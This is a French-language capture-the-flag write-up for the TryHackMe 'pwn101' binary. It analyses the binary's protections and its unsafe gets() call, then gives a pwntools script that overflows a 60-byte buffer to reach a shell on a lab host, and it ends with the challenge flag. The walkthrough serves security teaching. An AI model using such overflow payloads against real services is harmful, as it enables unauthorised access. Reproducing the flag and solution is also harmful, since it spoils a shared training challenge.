Challenge 1 - pwn101

18-01-2025

Information du fichier

Dans un premier temps on a besoin d'avoir un max d'information sur le fichier pour savoir à quoi nous avons à faire on va donc effectuer un file pour obtenir des informations sur le fichier. Ensuite nous ferons un checksec pour voir les protections avec lesquelles le fichier à été compilé.

Le file

pwn101-1644307211706.pwn101: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dd42eee3cfdffb116dfdaa750dbe4cc8af68cf43, not stripped

On retient ici le fait que le fichier est un exécutable en 64bit, et qu'il n'est pas strippé.

Le checksec

checksec pwn101-1644307211706.pwn101
[*] '/home/effect/Informatic/Cybersecurity/THM/pwn101/pwn101-1644307211706.pwn101'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

Les protections à retenir ici sont l'absence de Canary, ce qui nous permettra d'effectuer un Buffer Overflow classique.

Analyse du Code (Ghidra / GDB)

Je me dirige vers la fonction main. Grâce au fait que le binaire n'est pas strippé, la lecture est simplifiée.

Analyse GDB

On identifie rapidement deux éléments critiques :

- 1 : Une variable buffer dont on identifie la taille de 60 caractères (0x3c) grâce à l'analyse sous Ghidra.

- 2 : Une variable de vérification (que j'ai nommée check) située juste après le buffer dans la mémoire.

[!WARNING] La fonction gets() est connue pour être vulnérable car elle ne vérifie pas la taille de l'entrée utilisateur. Elle continuera d'écrire en mémoire tant qu'elle ne rencontre pas de retour à la ligne, ce qui permet trivialement un Buffer Overflow.

La variable check est initialisée par défaut à 1337. L'objectif est de modifier cette valeur pour obtenir un shell.

Exploit

En lançant le programme, un texte explicatif s'affiche puis nous demande un input.

Execution

Deux cas de figure pour l'exploitation :

- 1 : Input de 61 caractères

On remplit totalement les 60 octets du buffer, et le 61ème caractère va écraser le premier octet de la variable check. La valeur ne sera plus 1337, la condition est validée -> Shell.

- 2 : Input de 60 caractères

On remplit les 60 octets. Cependant, en C, les chaînes de caractères se terminent par un octet nul (\0 ou null byte). gets va donc écrire nos 60 'A', puis ajouter un \0 juste après, c'est-à-dire pile sur la variable check. La valeur de check devient donc altérée (elle prendra une valeur contenant ce 0), la condition est validée -> Shell.

Création du payload

Voici le script Python utilisant pwntools pour automatiser l'attaque :

from pwn import *

#context.binary = binary = "./pwn101.pwn101"

payload = b"A"*0x3c + p64(0x42) # 0x42 = "B"

p = remote("10.80.144.84", 9001)
p.sendline(payload)
p.interactive()

Une fois le script lancé, nous obtenons un accès au système.

Exploit

Flag : THM{7h4t's_4n_3zy_oveRflowwwww}